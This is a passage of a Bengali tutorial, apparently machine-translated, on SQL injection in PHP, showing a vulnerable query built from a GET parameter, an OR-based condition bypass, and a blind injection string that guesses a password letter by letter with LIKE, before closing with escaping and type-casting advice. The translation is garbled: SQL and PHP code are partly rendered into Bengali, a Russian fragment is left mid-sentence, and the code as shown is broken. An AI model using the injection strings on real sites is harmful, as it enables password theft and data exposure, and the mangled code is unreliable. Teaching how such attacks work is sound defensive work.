সহজ উদাহরণে, এসকিউএল কোয়েরির শেষে কোড এম্বেড করা সম্ভব ছিল। অনুশীলনে, একটি এসকিউএল কোয়েরির শেষে অতিরিক্ত শর্ত থাকতে পারে, অপারেটর বাছাই, গ্রুপিং এবং অন্যান্য এসকিউএল নির্মাণ। প্রতিটি নির্দিষ্ট ক্ষেত্রে, আক্রমণকারী এমনভাবে একটি দূষিত অংশ এমবেড করার চেষ্টা করবে যাতে সম্পূর্ণরূপে অনুরোধটি সিনট্যাক্টিকভাবে সঠিক থাকে, কিন্তু একটি ভিন্ন ফাংশন সম্পাদন করে। এখানে আমরা একটি অতিরিক্ত শর্ত সহ একটি দুর্বল অনুরোধের সবচেয়ে সহজ উদাহরণটি দেখব৷

ফলে বয়সের অবস্থা<35 নমুনা প্রভাবিত করবে না, কারণ OR অপারেটরের AND অপারেটরের চেয়ে কম অগ্রাধিকার রয়েছে এবং উপরের ক্যোয়ারী থেকে WHERE আলাদাভাবে লেখা যেতে পারে কোথায় (cityid="20" এবং 1) বা ("1" এবং বয়স৷<"35" ) (মনে রাখবেন WHERE 1 অভিব্যক্তি সর্বদা সত্য)। ফলস্বরূপ, cityid="20" এবং বয়স সহ উভয় লাইনই শর্তের সাথে মানানসই হবে৷<35, причем наличие последних не обязательно.

জটিল প্রশ্নের জন্য, সফল এসকিউএল ইনজেকশনের জন্য কিছু সৃজনশীলতা প্রয়োজন, কিন্তু আক্রমণকারীদের কিছু আছে বলে আশা করা যেতে পারে।

প্রশ্নের ফলাফল ব্যবহারকারীর কাছে প্রদর্শিত হয় না

এটি এমন হতে পারে যে একটি প্রশ্ন যার ফলাফল ব্যবহারকারীর কাছে প্রদর্শিত হয় না তা দুর্বল। এটি হতে পারে, উদাহরণস্বরূপ, একটি সহায়ক অনুরোধ:

$sql = "গণনা নির্বাচন করুন(*)
ব্যবহারকারীদের থেকে
WHERE userid=""
.$_GET [ "userid" ] .""" ;

উপরের ক্যোয়ারীটি শুধুমাত্র একটি প্রদত্ত ইউজারআইডি সহ ব্যবহারকারীর উপস্থিতি পরীক্ষা করে: যদি এটি কোনও অ-শূন্য মান প্রদান করে, তবে সংশ্লিষ্ট userid সহ ব্যবহারকারীর প্রোফাইলটি দেখানো হয়, কিন্তু যদি 0 ফেরত দেওয়া হয় (অর্থাৎ, সন্তুষ্টকারী কোনও ব্যবহারকারী নেই অনুরোধের মানদণ্ড), "ব্যবহারকারী পাওয়া যায়নি" বার্তাটি প্রদর্শিত হয়।

এই ক্ষেত্রে, পাসওয়ার্ড (বা অন্যান্য তথ্য) পাশবিক বল দ্বারা নির্ধারিত হয়। আক্রমণকারী স্ট্রিংটিকে userid প্যারামিটার হিসাবে পাস করে 2" এবং পাসওয়ার্ড লাইক "a%. চূড়ান্ত অনুরোধ:

ব্যবহারকারীদের থেকে সংখ্যা (*) নির্বাচন করুন WHERE userid="2" এবং পাসওয়ার্ড যেমন "a%"

আক্রমণকারী "ইউজার নট ফাউন্ড" পাবে যদি পাসওয়ার্ডটি "a" অক্ষর দিয়ে শুরু না হয়, অথবা অন্যথায় স্ট্যান্ডার্ড ব্যবহারকারী প্রোফাইল পৃষ্ঠা। পাসওয়ার্ডের প্রথম অক্ষরটি পাশবিক শক্তি দ্বারা নির্ধারিত হয়, তারপরে দ্বিতীয়টি ইত্যাদি।

উপসংহার

  • বাহ্যিক ডেটা ব্যবহার করে এমন সমস্ত প্রশ্ন অবশ্যই এসকিউএল ইনজেকশন থেকে সুরক্ষিত থাকতে হবে। বাহ্যিক ডেটা শুধুমাত্র GET প্যারামিটার হিসাবে নয়, POST পদ্ধতি ব্যবহার করেও প্রেরণ করা যেতে পারে, একটি কুকি থেকে নেওয়া, তৃতীয় পক্ষের সাইটগুলি থেকে বা এমন একটি ডাটাবেস থেকে যেখানে ব্যবহারকারীর তথ্য প্রবেশ করার সুযোগ ছিল৷
  • সমস্ত সাংখ্যিক পরামিতি স্পষ্টভাবে ফাংশন ব্যবহার করে সংখ্যাসূচক আকারে রূপান্তর করা উচিত intval()এবং floatval()
  • সব স্ট্রিং পরামিতি সঙ্গে escaped করা উচিত mysql_real_escape_string()এবং উদ্ধৃতি চিহ্নে এটি রাখুন।
  • যদি একটি এসকিউএল ইনজেকশন তৈরি করা কঠিন হয়, তাহলে আপনার আশা করা উচিত নয় যে আক্রমণকারী কীভাবে এটি করতে হবে তা বুঝতে পারবে না। এটি বিশেষ করে ইঞ্জিনের ক্ষেত্রে প্রযোজ্য যার সোর্স কোড সর্বজনীন।

সৌভাগ্য নিরাপদ অ্যাপ্লিকেশন নির্মাণ!